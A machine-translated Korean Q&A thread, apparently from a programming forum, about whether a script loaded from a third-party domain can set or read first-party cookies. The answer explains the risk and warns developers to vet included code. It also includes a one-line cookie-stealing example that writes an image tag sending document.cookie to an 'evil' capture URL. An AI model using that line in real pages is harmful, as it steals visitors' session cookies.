2013-11-24 3 views
3

나는 쿠키에 관해 많은 콘텐츠를 온라인으로 읽었지만이 질문에 대해서는 전혀 언급하지 않았다. a.com에 서버가 있고 b.com에서 제공하는 웹 페이지가 내 웹 페이지에있는 스크립트를 포함하고 있다고 가정 해 봅시다. 서버 :타사 스크립트가 당사자 쿠키를 설정할 수 있습니까?

<script src='a.com/script.js'></script> 

쿠키 설정과 관련하여 허용 된 스크립트는 무엇입니까? domain=a.com으로 쿠키를 설정할 수 있습니까? 스크립트가 해당 도메인에서 제공되기 때문에 그렇게 가정합니다. 페이지가 해당 서버에서 제공되기 때문에 domain=b.com으로 쿠키를 설정할 수 있습니까?

"제 1 자"와 "제 3 자"가 다른 호스트의 웹 페이지에서 호출 한 내 스크립트 컨텍스트에서 무슨 뜻인지 주위를 잡으려고합니다.

답변

3

.js 파일의 출처가 적합하지 않다고 생각합니다. 쿠키 도메인은 렌더링되는 문서의 도메인과 관련이 있습니다.

나는 http://www.b.com/를 방문하고

<script src="http://www.a.com/some/file.js"></script> 

그런 다음 b.com이 선의로 행동하는 a.com의 코드를 신뢰한다가 포함되어있는 경우. 이 코드는보고있는 페이지의 일부로 실행됩니다. javascript 코드는 브라우저에서 실행되므로 b.com의 쿠키를 읽고 문서에 태그를 작성하여 해당 데이터를 전달할 수 있습니다. 여기에는 src에 데이터가 포함됩니다. a.com 자바 스크립트 파일의 경우 예를 들어

document.writeln("<img src='http://www.a.com/evil/data/capturer?" + document.cookie + "'>"); 

그런 다음 a.com의 악의적 인 웹 마스터가 자신의 웹 서버 로그를 확인하고 b.com의 쿠키를 볼 수 있습니다 포함되어 있습니다.

따라서 a.com이 악의적 인 경우 b.com이 a.com의 코드를 페이지에 포함시킨 이유는 무엇입니까? 그들은 아마하지 않았다. 웹 개발자는 사이트에 포함 된 제 3 자 코드의 신뢰성을 검증해야합니다.

관련 문제